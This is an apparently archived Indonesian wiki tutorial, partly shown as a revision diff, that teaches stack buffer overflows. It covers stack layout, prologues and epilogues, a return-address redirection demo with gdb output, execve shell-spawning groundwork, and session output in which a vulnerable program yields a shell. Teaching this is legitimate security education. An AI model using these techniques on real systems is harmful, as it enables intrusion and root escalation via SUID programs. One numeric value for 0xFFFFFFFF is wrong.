− | + | saja sendiri :). Misalnya seperti gambar di bawah ini, jika bufY | |
− | + | adalah buffer yang exploitable, maka posisinya di stack adalah SP | |
− | + | minus seluruh offset dari buf1 s.d. bufY. Oleh sebab itulah dalam | |
− | + | program nanti kita perlu menambah satu variabel yang bisa merubah | |
− | + | offset stack ini. | |
gambar-3.6a. | gambar-3.6a. | ||
Line 1,368: | Line 1,366: | ||
| | | | ||
− | + | Tujuan utama kita adalah menimpa return-address yang disimpan di | |
− | + | stack agar mengarah kembali ke SP yang berisi shellcode kita. | |
− | + | Untuk menambah peluang keberhasilan, kita bungkus shellcode | |
− | + | dengan deretan NOP di depannya serta barisan return-address di | |
− | + | belakangnya. | |
gambar-3.6b. | gambar-3.6b. | ||
Line 1,384: | Line 1,382: | ||
− | + | Pada umumnya address alignment adalah 4, artinya data disimpan | |
− | + | dalam address memori dalam kelipatan 4, intel sendiri, dengan | |
− | + | alasan performansi, memang menyarankan minimal dalam word | |
− | + | boundary (kelipatan 2), dalam praktek, compiler seperti gcc malah | |
− | + | melipatnya dalam 8 atau 16 (seperti kita lihat pada contoh-contoh | |
− | + | diatas yang melakukan perapian stack dalam kelipatan 16 (biasa | |
− | + | disebut juga 1 paragraph). Dalam program exploit nanti, kita akan | |
− | + | mengakomodasi kemungkinan anomali atas address alignment, buat | |
− | + | mengakali program-program yang mungkin dikompile secara tidak | |
− | + | standar atau dipatch secara biner sembarangan, udik, kampungan, | |
− | + | dsb. dsb. | |
− | |||
− | |||
− | |||
− | |||
+ | Oke deh kakak, untuk menguji shellcode, kita buat dulu sebuah | ||
+ | program yang secara tidak senonoh, menyalin argumen ke buffernya | ||
+ | tanpa melakukan pengechekan dhulu sebhelumnyha: | ||
+ | |||
victim.c | victim.c | ||
------------------------------------------------------------ | ------------------------------------------------------------ | ||
Line 1,412: | Line 1,410: | ||
------------------------------------------------------------ | ------------------------------------------------------------ | ||
− | + | Selanjutnya kita buat program yang menyalin exploit kode ke | |
− | + | environment, yang lantas bisa kita inputkan nantinya (supaya | |
− | + | tidak perlu diketik manual), sebagai argumen untuk program | |
− | + | victim diatas. | |
− | + | Program ini dapat dipanggil dengan argumen kustomisasi yaitu | |
− | + | [bufsize] [offset] [alignment] dengan nilai default: 512 0 0 | |
exploit.c | exploit.c | ||
Line 1,520: | Line 1,518: | ||
[aa]$gcc -o exploit exploit.c | [aa]$gcc -o exploit exploit.c | ||
− | + | Dengan contoh exploitable-buffer sebesar 256 bytes pada program | |
− | + | victim diatas, kita coba program exploit untuk mengeset | |
− | + | environment variabel BUF dengan exploit-code yang panjangnya 300 | |
− | + | (bytes) | |
[aa]$./exploit 300 | [aa]$./exploit 300 | ||
Line 1,532: | Line 1,530: | ||
Environment variable: "BUF" | Environment variable: "BUF" | ||
− | + | Program exploit membuka shell baru dengan environment "BUF" yang | |
− | + | di-set sesuai exploit-code (300 bytes). Lalu inputkan | |
− | + | exploit-code tsb. menjadi argumen untuk program victim: | |
[aa]$./victim "$BUF" | [aa]$./victim "$BUF" | ||
Line 1,541: | Line 1,539: | ||
[aa]$ | [aa]$ | ||
− | + | Yaah... hasilnya kacau :(, kita keluar saja deh... | |
− | + | ||
[aa]$exit | [aa]$exit | ||
exit | exit | ||
[aa]$ | [aa]$ | ||
− | + | Rupanya ada yang kelupaan, karena exploitable-buffer dalam | |
− | + | program victim diatas besarnya adalah 256 bytes, maka sebaiknya | |
− | + | kita kurangi SP sebesar kira-kira segitu, yaitu dengan | |
− | + | menggunakan offset, misalnya 200 lah... | |
[aa]$./exploit 300 200 | [aa]$./exploit 300 200 | ||
Line 1,560: | Line 1,558: | ||
[aa]$ | [aa]$ | ||
− | + | Dengan cara yang sama seperti diatas, kita embat lagi buffernya | |
[aa]$./victim "$BUF" | [aa]$./victim "$BUF" | ||
Line 1,566: | Line 1,564: | ||
$ => (INI ADALAH SHELL) | $ => (INI ADALAH SHELL) | ||
− | + | Wow! kereen... :). | |
$ exit | $ exit | ||
Line 1,573: | Line 1,571: | ||
[aa]$ | [aa]$ | ||
− | + | Coba lagi nilai lainnya, nilai offset mestinya lebih besar dari | |
− | + | mid (middle point of buffer) supaya return address jatuhnya di | |
− | + | bantalan NOP yang empuk. | |
[aa]$./exploit 400 300 | [aa]$./exploit 400 300 | ||
Line 1,598: | Line 1,596: | ||
− | + | ==Penutup== | |
− | + | ||
+ | Udah-ah, capek :) | ||
+ | |||
+ | |||
_________________________________________________________________ | _________________________________________________________________ | ||
Bacaan: | Bacaan: | ||
Line 1,610: | Line 1,611: | ||
20030415 | 20030415 | ||
20030417 | 20030417 | ||
+ | |||
+ | |||
+ | ==Pranala Menarik== | ||
+ | |||
+ | * [[Beberapa Tip Hacking]] |
Latest revision as of 08:08, 31 March 2011
Pendahuluan
Salah satu jenis vulnerability klasik yang hingga saat ini masih aja terjadi adalah Buffer Overflow (BO). Dalam tulisan ini saya akan berusaha menjelaskan apa dan bagaimana BO terjadi dengan cara sederhana hingga bisa dipahami (mudah-mudahan) oleh target audiens pemula sekalipun.
Prinsip dasar BO sebenarnya sederhana saja yaitu: mengalihkan alur program (tentu saja untuk mengarahkannya ke program/code yang kita buat sendiri :)).
Hal itu bisa terjadi akibat data yang diinputkan oleh user melebihi kapasitas tampung (buffer) yang disediakan oleh program. Jika program tidak menghandel kejadian ini dengan baik, luapan data tadi akan menimpa bagian-bagian penting lainnya dari program.
Data yang diinputkan ini bisa kita atur sedemikian rupa sehingga sebenarnya adalah sebuah program yang melakukan apa yang kita inginkan.
Untuk memahami lebih lanjut terjadinya, sebelumnya kita perlu mengenal bagaimana organisasi memori ketika program berjalan, terutama bagian STACK yang merupakan target utama exploit BO, selain itu juga kita perlu mengerti detail mekanisme pemanggilan fungsi/procedure dalam C. Pengetahuan tentang assembler dan debugging juga akan sangat membantu, tapi itu tidak mutlak, jadi tenang saja, OK? :).
Dasar Teori
Memori & addressing
Sebenarnya komputer yang kita anggap canggih ini cuma sederetan data (yang disimpan di memori komputer).
gambar-2.1a. |-----------------------/ /-----------------------------| | | | | | | | | | | | | / / | | | | | | | | | | | | | | | |-----------------------/ /-----------------------------| 0000 4G Bottom Top
Ya, tidak lebih dari itu.
Atau begini...
gambar-2.1b. |----| 4G / Top |----| |----| |----| |----| / / |----| |----| |----| |----| |----| 0000 / Bottom
Setiap byte dari memori itu dinomori, supaya mudah mencarinya Begitulah addressing dilakukan, mudah sekali bukan?
Setiap byte memori diatas tadi mampu menampung data sebesar... ya 1 byte :). atau disebut juga 1 character, karena kalau kita ngetik satu huruf berarti membutuhkan 1 byte (sebetulnya bukan itu sih sebabnya, tapi anggap saja begitu deh).
1 byte itu adalah angka, antara 0 s.d. 255. tergantung dulunya diisi berapa. tapi tidak mungkin diluar itu karena kemampuan seorang byte hanyalah segitu.
sebenarnya sih 1 byte itu terdiri dari 8 bit yang berjejer. masing-masing hanya mampu bilang ya atau tidak (1 atau 0). Nah, kombinasinya kan bisa berbeda-beda tuh? jadi dengan bersama-sama mereka bisa menyatakan 256 nilai yang berbeda. Umumnya dinyatakan dalam bilangan hexa 00 s.d. FF.
1 word artinya 2 byte. 1 dword = 2 word = 4 byte.
Jadi misalnya, kalau kita mengambil data 1 dword dari alamat memori 1000, maka kita akan diberi segumpal data dari 1000, 1001, 1002 dan 1003.
Persis seperti peribahasa, bersatu kita teguh, bercerai kawin lagi, kapasitas representasi biner meningkat secara eksponensial jika digabung. contoh, gabungan 2 byte menjadi 1 word mampu menyatakan kombinasi antara 0..FFFF (0..65535) seterusnya kapasitas 1 dword adalah 0..FFFFFFFF atau 0..4294836225. and on.. and on..
Program Execution
Pada saat program di-load ke memori, susunan bagian-bagiannya adalah seperti gambar dibawah ini, (cat. angka-angka address di sini hanya untuk keperluan visualisasi saja):
gambar-2.2. ______________________________________________ | | | TEXT/ DATA STACK | HEAP | CODE | _____|_____________________________|__________ 0000 | 0100 0500 0800 | 1000 | | *-------program victim--------*
TEXT/CODE adalah tempat instruksi program berada, bagian ini umumnya bersifat read-only, setiap usaha untuk merubahnya akan berakhir di segmentation violaton.
DATA berisi data konstan, variable statik dll initialized/ uninitialized data, kecuali terjadi stress yang menyebabkan reorganisasi memori, ukurannya relatif tetap, meskipun tidak read-only seperti bagian TEXT.
STACK tempat menampung tumpukan data sementara, dengan operasi khas-nya yaitu PUSH untuk menaruh data diatas tumpukan, dan POP untuk mengambil data dari atas tumpukan. seperti itulah caranya, jadi dengan operasi PUSH/POP kita tidak bisa mengambil data dari tengah.
HEAP adalah daerah memori yang bebas digunakan oleh program.
Operasi Stack
Seperti telah disebutkan diatas, kita hanya dapat menyimpan atau mengambil tumpukan paling atas dari stack (atau paling bawah tergantung bagaimana anda memandangnya :))
Cuma 3 register yang terkait erat dalam operasi stack ini yaitu Stack Segment, Stack Pointer dan Base Pointer (SS, SP dan BP), kita tidak usah pedulikan segmen register, itu urusan kernel (kecuali kalau kita mau buat program di DOS dengan model segmented memory-nya), jadi yang perlu kita tahu cuma SP dan BP . keduanya tidak lebih adalah penunjuk posisi stack. bedanya, SP naik/turun oleh instruksi PUSH/POP, sementara BP tidak, terserah mau kita isi berapa atau bahkan tidak dipakai sama sekali juga tidak apa-apa.
lho jadi apanya yang sulit? ya tidak ada.
perintah PUSH/POP bisa dilakukan untuk bilangan 16bit atau 32bit, atau operasi khusus push all/pop all. SP berkurang/ bertambah sesuai tipe data ini (sejumlah byte yang diperlukan untuk menampung data tsb).
push 16bit_data, SP berkurang 2 push 32bit_data, SP berkurang 4 pusha, SP berkurang 16 pushad, SP berkurang 32
misalnya nilai SP pertama adalah 0100,
char C; //character (1 byte) short I; //integer (2 byte) long L; //long integer (4 byte) int * P; //pointer (4 byte)
lalu kita melakukan perintah sbb:
push C push I push L push P
maka SP akan menjadi: 100-(2+2+2+4+4) = 88
gambar-2.3a. ____//_____________________________________ // | | | | | // | P | L |I|C| ____//___________________|___|___|_|_|_____ // | | 000 88 100
mestinya begitu :) tapi atas nama optimasi, tampaknya gcc tidak perduli mau char kek, integer kek atau pointer, semua sama di-push sebagai tipe data 32bit. untuk kita sih ya oke-oke aja, malah tidak repot-repot ngitungnya kan?
jadi SP = 100 - (4*4) = 84 gambar-2.3b. ____//_____________________________________ // | | | | | // | P | L | I | C | ____//_______________|___|___|___|___|_____ // | 88 92 96 | 000 84 100
Stack dan Instruction Pointer (IP)
Satu hal yang penting adalah bahwa (operasi) stack juga digunakan untuk menyimpan Instruction Pointer (IP), yaitu penunjuk arah bagi program (seperti nomor baris perintah dalam BASIC) coba perhatikan cuplikan kode 'canggih' ini.
IP CODE --- -------- . . 100 GOTO 200 200 GOTO 100 . .
Jika kita bisa merubah IP 200 menjadi misalnya 110, kita akan menghentikan derita tanpa akhir, endless loop dari GOTO diatas.
Dengan kata lain, merubah IP berarti juga *merubah* jalan hidup program, 'cool' kan? :)
Kita tidak bisa menyimpan atau mengambil IP langsung dengan push/pop, tapi melalui instruksi CALL dan RET, misalnya perintah:
call func
adalah ekuivalen dengan:
PUSH next_IP to STACK JMP to address_func
next_IP tidak lain adalah lokasi selanjutnya (di memori) dari kode instruksi pemanggilan tersebut.
Sebaliknya instruksi RET akan membuat program menuju alamat yang disimpan sebelumnya diatas. (atau tepatnya *apapun* yang terdapat dalam tumpukan stack paling atas).
POP STACK to temp JMP to temp
Seperti juga PUSH/POP instruksi CALL/RET juga merubah nilai SP, tergantung jenis panggilannya, CALL/RET sebanyak 2 poin dan CALL FAR/RETF sebanyak 4 poin. Tapi mungkin ini tidak terlalu penting karena biasanya model pemanggilan di UNIX selalu RETF.
Hal pertama yang dilakukan oleh suatu fungsi adalah menyimpan nilai SP baik-baik, dikunci oleh BP. karena pada saat akhir dia harus mengembalikan nilai SP itu tanpa kurang suatu apapun, kalau tidak nanti bisa digampar kernel, kill(1).
Pemanggilan fungsi
Fungsi pemanggil (misalnya main()) melakukan hal-hal tertentu ketika melakukan pemanggilan fungsi yang berkaitan dengan bagaimana cara High Level Language (HLL, seperti BASIC, C/C++, Pascal, dll.) mengirmkan parameter/argumen.
Dalam C/C++ parameter didorong ke dalam stack, mulai dari ujung (dari param terakhir sesuai syntax), berturut-turut sampai ke param pertama), selanjutnya prosedur pemanggil juga bertanggung jawab untuk meng-offset nilai SP lagi setelah fungsi kembali (sebesar jumlah yang didorong ke stack). Untuk Pascal berlaku hal yang sebaliknya, tapi sudahlah tidak perlu kita bahas :).
prototype: void func(int a, int b, int c); pemanggilan fungsi: func(19,09,1969); pemanggilan fungsi dalam assembler: pushl $1969 ; c pushl $9 ; b pushl $19 ; a call func ; sama dengan PUSH next_IP, JMP func addl $12,%esp ; pada Pascal, fungsi yang dipanggil ; yang akan melakukan penyesuaian ini
Karena optimisasi program, nilai yang ditumpuk ke stack berupa kelipatan 16, sehingga transalasinya menjadi:
addl $-4,%esp ; penyesuaian awal, offset penala stack pushl $1969 ; c pushl $9 ; b pushl $19 ; a call func ; sama dengan PUSH next_IP, JMP func addl $16,%esp ; penala stack dengan alignment 16
Dalam HLL juga dikenal apa yang disebut dengan prolog dan epilog. Sesuai namanya prolog terjadi pada awal fungsi:
pushl %ebp ; BP disimpan ke stack movl %esp,%ebp ; BP disamakan nilainya dengan SP
jika terjadi operasi stack, misalnya memanggil fungsi lain yang menggunakan parameter, stack alignment 16 dilakukan dengan mengurangi SP sebesar 8. hal ini disebabkan karena instruksi call sebelumnya telah mengkonsumsi stack 4 byte (push IP) serta push BP juga telah mengurangi SP sebesar 4.
subl 8,%esp ; >prologue_set_stack_ptr
dan epilog terjadi di akhir (sebelum instruksi "ret"):
movl %ebp,%esp ; SP disamakan nilainya dengan BP popl %ebp ; Nilai BP diambil dari stack
atau disingkat:
leave ; sama saja dengan gabungan dua instruksi ; diatas, cuma lebih lambrat ;(
Aplikasi
Studi Program
Contoh program di sini menggunakan FreeBSD 4.7, jadi maaf-maaf saja kalau sedikit berbeda, dengan pengantar yang sudah saya jelaskan diatas, mohon disesuaikan sendiri :)
pertama kita lihat output dari program sederhana ini
contoh0.c ------------------------------------------------------------ void func0() { /* nothing to do */ } int main() { func0; } ------------------------------------------------------------ [aa]$gcc -S -dp contoh0.c option -S adalah untuk membuat listing code assembly, sedangkan option -dp menambahken keterangan tambahan dalam listing tsb.
kita lihat listing assembly-nya dari file contoh0.s sbb:
------------------------------------------------------------ .file "contoh0.c.c" .version "01.01" gcc2_compiled.: .text .p2align 2,0x90 .globl func0 .type func0,@function func0: pushl %ebp # 9 movsi-2 movl %esp,%ebp # 11 movsi+2/1 .L2: leave # 14 leave ret # 15 return_internal .Lfe1: .size func0,.Lfe1-func0 .p2align 2,0x90 .globl main .type main,@function main: pushl %ebp # 12 movsi-2 movl %esp,%ebp # 14 movsi+2/1 .L3: leave # 17 leave ret # 18 return_internal .Lfe2: .size main,.Lfe2-main .ident "GCC: (GNU) c 2.95.4 20020320 [FreeBSD]" ------------------------------------------------------------
Dibawah label func0 dan main, kita peroleh hasil yang sama
prolog: pushl %ebp movl %esp,%ebp epilog: leave ret
Program ini memang tidak melakukan apa-apa, cuma untuk menunjukkan fungsi prolog dan epilog. program ini juga menunjukkan bahwa fungsi main() diperlakukan sama saja dengan fungsi-fungsi lainnya, bedanya adalah bahwa main() adalah fungsi pertama yang dipanggil.
Selanjutnya supaya tidak 'ribet', hasil program akan diekstrak lebih sederhana seperti format diatas, dan kompilasi dilakukan tanpa menggunakan option "-dp".
jika kita tambahkan result pada fungsi main() tadi sbb:
contoh0.c ------------------------------------------------------------ void func0() { /* nothing to do */ } int main() { func0; return(1); /* return code */ } ------------------------------------------------------------
kita lihat dari listing dibawah, ternyata nilai pengembalian akan disimpan di register EAX, dan setelah itu fungsi/program akan langsung dihentikan/keluar.
------------------------------------------------------------ main: pushl %ebp ; >prolog movl %esp,%ebp ; > movl $1,%eax ; return value = 1 jmp .L3 ; program langsung menuju epilog .L3: leave ; >epilog ret ; > ------------------------------------------------------------
Jika kita tambah beberapa fungsi lain yang menggunakan parameter misalnya menjadi seperti contoh1.c dibawah ini:
contoh1.c ------------------------------------------------------------ void func0() { } void func1(int I) { } void func2(int I, long L) { } int func3(int I, long L, char * c) { } /* int func_C(char C) { } int func_CS(char C, short S) { } int func_CSD(char C, short S, double D) { } */ int main() { func0; func1(1); func2(2, 3); func3(4, 5, 6); /* atau sebaiknya dipanggil dengan: func3(4, 5, (char *) 6); supaya gcc tidak rewel masalah casting. */ /* func_C('A'); func_CS('B', 123); func_CSD('C', 45678, 91011.1213); */ return(0); } ------------------------------------------------------------
Ternyata konversi assembly untuk fungsi-fungsi func0 - func3 tersebut semua sama saja, hanya berisi prolog dan epilog, tampaknya selama parameter yang dilewatkan bertipe integer 32 bit atau pointer, maka SP tidak akan diobok-obok oleh fungsi yang dipanggil. Untuk keperluan BO, kebanyakan kita akan melakukan passing pointer.
Untuk tipe data char/short, fungsi akan mengalokasikan stack untuk menampung manipulasi data, sebagaimana variabel lokal, yang akan dibahas d bagian selanjutnya, sedangkan untuk tipe data real dipergunakan juga floating-point stack st0-st7. Silakan buka comment diatas dan lihat sendiri listingnya :).
Pada fungsi main() mulai terjadi 'silat lidah' antara compiler dengan assembler :),
------------------------------------------------------------ main: pushl %ebp ; >prolog movl %esp,%ebp ; > subl $8,%esp ; >prologue_set_stack_ptr ; >alignment 16, setelah- ; >(PUSH BP dan IP) = -8 addl $-12,%esp ; karena hanya ada satu parameter, pushl $1 ; maka offset penala stack adalah call func1 ; (1 * 4) - 16 = -12 addl $16,%esp ; penala stack, alignment 16 addl $-8,%esp ; 2 param -> (2 * 4) - 16 = -8 pushl $3 pushl $2 call func2 addl $16,%esp ; penala stack addl $-4,%esp ; 3 param -> (3 * 4) - 16 = -4 pushl $6 ; jika ada 4 param, maka offset = 0 pushl $5 ; ..dan selanjutnya.. berulang, pushl $4 ; jika ada 5 param, offset = -12 call func3 ; dengan penala stack = 32 addl $16,%esp ; xorl %eax,%eax ; cara yang lebih efisien untuk ; menyatakan EAX=0 jmp .L6 .L6: leave ; >epilog ret ; > ------------------------------------------------------------ gambar-3.1a. -SP sebelum pemanggilan fungsi ----> | Offset penala stack | func3 -04 -------------------> | func2 -08 ---------------> | | func1 -12 -----------> | | | main() ____//___________________|___|___|___|___________|___|_ // | | | | | | | | // | I | L | C | # | sub 8 |BP |RET| ____//_______________|___|___|___|___|_______|___|___|_ // | . . | | | | | 000 84 . . | 100 | 116 | . . | | | | <--------alignments-> V -SP setelah pemanggilan fungsi
Dari gambaran diatas, untuk ketiga fungsi tsb ternyata pada akhirnya SP bernilai sama.
Dalam contoh selanjutnya kita akan membuat variabel lokal
contoh2.c -------------------------------------------------- Void func1(char * S) { char buf0[1]; /* paragraf 1: -24 */ } void func2(char * S) { char buf20[1], buf21[3]; /* paragraf 1: -24 */ } void func3(char * S) { char buf30[1]; char buf31[3]; char buf32[5]; } void func4(char * S) { char buf40[1]; char buf41[3]; char buf42[5]; char buf43[7]; /* paragraf 2: -40 */ } void func5(int I, long L, char * P) { char buf50[1]; char buf51[3]; char buf52[5]; char buf53[7]; /* paragraf 2: -40 */ char buf54[9]; /* paragraf 3: -56 */ /* akses variabel lokal */ buf50[0]=0; buf51[0]=100; buf51[2]=102; buf52[0]=200; buf52[4]=204; buf53[0]='3'; buf54[0]='4'; } int main(void) { char buf0[512]; func5(12345, 678910, buf0); } --------------------------------------------------
Fungsi func1 - func4 dibuat hanya untuk menunjukkan bahwa pengalokasian stack juga dilakukan dalam alignment 16. listing func1, func2 dan func3 adalah identik sbb:
func1, func2 & func 3: pushl %ebp ; >prolog movl %esp,%ebp ; > subl $24,%esp ; >prologue_set_stack_ptr ; >default 8, +16 = 24
Yang sedikit berbeda adalah func4, stack prolognya dikurangi lagi sejumlah 1 paragraf sehingga total sub menjadi 40.
func 4: . subl $40,%esp ; >prologue_set_stack_ptr . ; >8 + 16 + 16 = 40
Akses terhadap argumen yang diberikan, dapat dilihat dalam listing func5 sbb:
func5: pushl %ebp ; >prolog movl %esp,%ebp ; subl $56,%esp ; >prologue_set_stack_ptr movb $48,-1(%ebp) ; -buf50[0] = '0' movb $100,-8(%ebp) ; -buf51[0] = 100 movb $102,-6(%ebp) ; -buf51[0] = 102 movb $-56,-16(%ebp) ; -buf52[0] = 200 (unsigned) movb $-52,-12(%ebp) ; -buf52[0] = 204 (unsigned) movb $30,-24(%ebp) ; -buf53[0] = 30 movb $36,-18(%ebp) ; -buf53[0] = 36 movb $40,-36(%ebp) ; -buf54[0] = 40 movb $48,-28(%ebp) ; -buf54[0] = 48 leave ; >epilog ret ; >
Gambarannya adalah sebagai berikut. Supaya mudah, kita asumsikan bahwa posisi stack sebelum pemanggilan fungsi adalah 100 (Di bawah ini hanya ditunjukkan sampai buf53), Ternyata dalam mengalokasikan variabel lokal, dilakukan alignment 4 atau dword, untuk string yang berisi lebih dari 3 character, sementara yang isinya cuma 1 char tidak dialign sama sekali, coba tuh lihat dibawah, buf50 mepet banget sama BP.
gambar-3.1b. >buf53< buf52 buf51 buf50 <---arguments---> | | ^ ^ ^ ^ ^ | main() ____//______|_____|_|___|___|_|____||_______|_______________| // dst. 3333333 22222 111 0| | | | | | | // | |X| |XXX| |XXXX||BP |RET| I | L | S |XXX| ____//______|_____|_|___|___|_|____||___|___|___|___|___|___| // | | | | | 000 52 68 84 100 legenda: X: slack/tidak digunakan akibat alignment BP: Base Pointer I, L dan S: parameter yang dimasukkan RET: Return Address
Oh iya nanti lupa, seperti kita lihat diatas, posisi argumen/ parameter adalah di sebelah kanan BP, jadi diakses dengan offset positif terhadap BP, sebaliknya dengan variabel lokal.
Eh... ngomong-ngomong, memang ada gunanya enggak sih, mengerti tentang hal itu? Hm.. enggak ada ya :(
Mengalihkan Return Address
Mumpung masih hangat, mari kita coba membuat sebuah contoh bagaimana caranya memotong kayu (lho? maaf barusan teringat lagu TK hai tukang kayu), maksud saya adalah mengalihkan alur program dengan cara merubah nilai return address yang tersimpan di stack. Agar lebih mudah kita pakai saja variabel yang mepet ke BP diatas tadi (bedanya cuma 1).
Seperti kita tahu bahwa besarnya stack yang dialokasikan untuk mengamankan BP adalah sebesar 4 poin/byte. Dan disebelahnya saudara-saudara... adalah...: Return Adress!!!
Untuk melaksanakan rencana jahat kita ini, kita perlu bantuan sebuah pointer agar nanti bisa kita rubah seenak udel kita.
kira-kira nanti begini:
char buf0[1]; /* ingat, diatas itu tidak beda dengan: char * buf0 */ /* jadi masih sodara-an lah sama int * ret dibawah */ int * ret;
kemudian kita arahkan ret ke return address: tolong harap diingat bahwa penambahan di bawah ini adalah untuk pointer ke character / 1 byte. untuk tipe lain, akan berbeda pula incrementasi-nya, untuk pointer ke integer, misalnya, setiap penambahan 1 poin akan menggeser pointer sebanyak 4 byte / lokasi address.
ret = buf0 +1 +4;
atau kalo gcc rewel, bisa kita cast sebagai:
(char *) ret = buf0 +1 +4;
akhirnya kita ubah return address :)
*ret = (hm... berapa ya?)
sebaiknya kita gunakan variabel saja supaya gampang diubah, sehingga lengkapnya program kita adalah:
contoh3.c ------------------------------------------------------------ void func(int I) { char buf0[1]; int * ret; ret = buf0 +1 +4; (*ret) += I; } int main(int argc, char *argv[]) { char * shell[2]; int i = 0; if (argc > 1) i = atoi(argv[1]); shell[0]="/bin/sh"; shell[1]="/usr/local/bin/bash"; func(i); printf("print#1: lokasi1: %X\n", &shell[0]); /* print#1 */ printf("print#2: lokasi2: %X\n", &shell[1]); /* print#2 */ printf("print#3: shell1: %s\n", shell[0]); /* print#3 */ printf("print#4: shell2: %s\n", shell[1]); /* print#4 */ return(0); } ------------------------------------------------------------
Program diatas akan memindahkan alur program sejauh input yang kita berikan. Jangan terlalu diperhatikan baris-baris perintah main() sebelum pemanggilan func. itu cuma inisialisasi serta pengechekan input.
setelah pemanggilan fungsi func *seharusnya* program melaksanakan perintah berikutnya yaitu print#1, tapi jika kita inputkan suatu nilai tertentu sebagai argument maka program akan dilompatkan sejauh nilai yang kita berikan.
[aa]$./contoh3 print#1 lokasi1: BFBFFBA8 print#2 lokasi2: BFBFFBAC print#3 shell1: /bin/sh print#4 shell2: /usr/local/bin/bash
kita coba beberapa buah nilai:
[aa]$./contoh3 1 Bus error (core dumped) [aa]$./contoh3 2 Segmentation fault (core dumped) [aa]$./contoh3 4 Illegal instruction (core dumped) [aa]$./contoh3 100 Segmentation fault (core dumped) [aa]$./contoh3 1000 Segmentation fault (core dumped) [aa]$./contoh3 -1 Bus error (core dumped) [aa]$./contoh3 -100 [aa]$./contoh3 -1000 Segmentation fault (core dumped)
Maksudnya apa sih?
Oh iya, saya belum cerita ya? maksudnya kita mau mencoba untuk (misalnya) melompat langsung kepada printf#3, melewati print#1 dan print#2.
kita debug saja deh...
[aa]$gdb -q contoh3 (gdb) (gdb) disass main Dump of assembler code for function main: 0x80481ec <main>: push %ebp 0x80481ed <main+1>: mov %esp,%ebp 0x80481ef <main+3>: sub $0x18,%esp 0x80481f2 <main+6>: movl $0x0,0xfffffff4(%ebp) 0x80481f9 <main+13>: cmpl $0x1,0x8(%ebp) 0x80481fd <main+17>: jle 0x8048218 <main+44> 0x80481ff <main+19>: add $0xfffffff4,%esp 0x8048202 <main+22>: mov 0xc(%ebp),%eax 0x8048205 <main+25>: add $0x4,%eax 0x8048208 <main+28>: mov (%eax),%edx 0x804820a <main+30>: push %edx 0x804820b <main+31>: call 0x80483c8 <atoi> 0x8048210 <main+36>: add $0x10,%esp 0x8048213 <main+39>: mov %eax,%eax 0x8048215 <main+41>: mov %eax,0xfffffff4(%ebp) 0x8048218 <main+44>: movl $0x8052c8c,0xfffffff8(%ebp) 0x804821f <main+51>: movl $0x8052c94,0xfffffffc(%ebp) 0x8048226 <main+58>: add $0xfffffff4,%esp 0x8048229 <main+61>: mov 0xfffffff4(%ebp),%eax 0x804822c <main+64>: push %eax 0x804822d <main+65>: call 0x80481c4 <func> 0x8048232 <main+70>: add $0x10,%esp 0x8048235 <main+73>: add $0xfffffff8,%esp 0x8048238 <main+76>: lea 0xfffffff8(%ebp),%eax 0x804823b <main+79>: push %eax 0x804823c <main+80>: push $0x8052ca8 0x8048241 <main+85>: call 0x80483e0 <printf> 0x8048246 <main+90>: add $0x10,%esp 0x8048249 <main+93>: add $0xfffffff8,%esp 0x804824c <main+96>: lea 0xfffffff8(%ebp),%eax 0x804824f <main+99>: lea 0x4(%eax),%edx 0x8048252 <main+102>: push %edx 0x8048253 <main+103>: push $0x8052cb6 0x8048258 <main+108>: call 0x80483e0 <printf> ---Type <return> to continue, or q <return> to quit--- 0x8048260 <main+116>: add $0xfffffff8,%esp 0x8048263 <main+119>: mov 0xfffffff8(%ebp),%eax 0x8048266 <main+122>: push %eax 0x8048267 <main+123>: push $0x8052cc4 0x804826c <main+128>: call 0x80483e0 <printf> 0x8048271 <main+133>: add $0x10,%esp 0x8048274 <main+136>: add $0xfffffff8,%esp 0x8048277 <main+139>: mov 0xfffffffc(%ebp),%eax 0x804827a <main+142>: push %eax 0x804827b <main+143>: push $0x8052cd1 0x8048280 <main+148>: call 0x80483e0 <printf> 0x8048285 <main+153>: add $0x10,%esp 0x8048288 <main+156>: xor %eax,%eax 0x804828a <main+158>: jmp 0x804828c <main+160> 0x804828c <main+160>: leave 0x804828d <main+161>: ret End of assembler dump. (gdb) q [aa]$
Cuekin saja baris-baris kode diatas tidak kita perlukan, Yang kita butuh adalah address setelah func dipanggil (address ini di-push ke stack pada saat pemanggilan func, nilai inilah yang kita rubah dalam fungsi func)
. 0x804822d <main+65>: call 0x80481c4 <func> 0x8048232 <main+70>: add $0x10,%esp .
...serta address setelah print#2 dipanggil. kita akan mengalihkan alur program ke sini.
. 0x8048258 <main+108>: call 0x80483e0 <printf> 0x804825d <main+113>: add $0x10,%esp .
Untuk mengalihkan alur program dari address pertama diatas kepada address kedua, berarti return address harus diubah (ditambah) sebesar selisih antara keduanya.
Dengan aljabar sederhana kita peroleh displacement offsetnya adalah sebesar: <main+113> - <main+70> = 113 - 70 = 43
Mari kita coba sekali lagi...
[aa]$./contoh3 43 print#3: shell1: /bin/sh print#4: shell2: /usr/local/bin/bash [aa]$
OK! :))
Exec Syscall
Setelah sukses pertama membelokkan alur program ke tempat yang kita kehendaki selanjutnya kita perlu memilih apa yang akan kita jalankan dan dimana ditempatkannya. Umumnya program akan diarahkan untuk menjalankan shell /bin/sh, karena dari situ praktis kita dapat menjalankan yang lainnya terserah kita, apalagi jika program yang diekploit tersebut SUID root maka tunai sudah suratan, dan mereka hidup bahagia selamanya sampai akhir hayat. eng- ing- eeeng...
untuk spawning shell code kita lihat lihat dan pelajari prototype dari fungsi execve(2).
[aa]$man execve NAME execve - execute a file LIBRARY Standard C Library (libc, -lc) SYNOPSIS #include <unistd.h> int execve(const char *path, char *const argv[], char *const envp[]); DESCRIPTION Execve() transforms the calling process.. bla-bla-bla...
Fungsi ini adalah embahnya fungsi-fungsi exec yang lain, front-end-nya bisa berupa execl, execlp, execle, exect, execv dan execvp. Jika execve sukses dijalankan, selanjutnya program kita bisa jalan sendiri tidak perlu lagi balik atau terikat oleh proses yang memanggilnya. Cocok-lah dengan keinginan kita :)
arg1 (path) harus berisi path string lengkap dari program yang akan kita jalankan, sementara arg2 (argv), adalah argumen list (array dari strings alias pointer ke pointer). Kedua argumen ini *harus* diisi dengan benar.
kita isi arg1 (path) dengan string "/bin/sh" (shell), dan arg2 dengan pointer ke string tsb. dengan NULL sebagai terminator.
baca-baca juga manual exit(3) dan _exit(2) ya?
langsung saja kita lihat program berikut listing assembly-nya:
contoh4.c ------------------------------------------------------------ #include <unistd.h> int main() { char * sh[2]; sh[0] = "/usr/bin/perl"; sh[1] = NULL; execve(sh[0], sh, NULL); _exit(0); } ------------------------------------------------------------
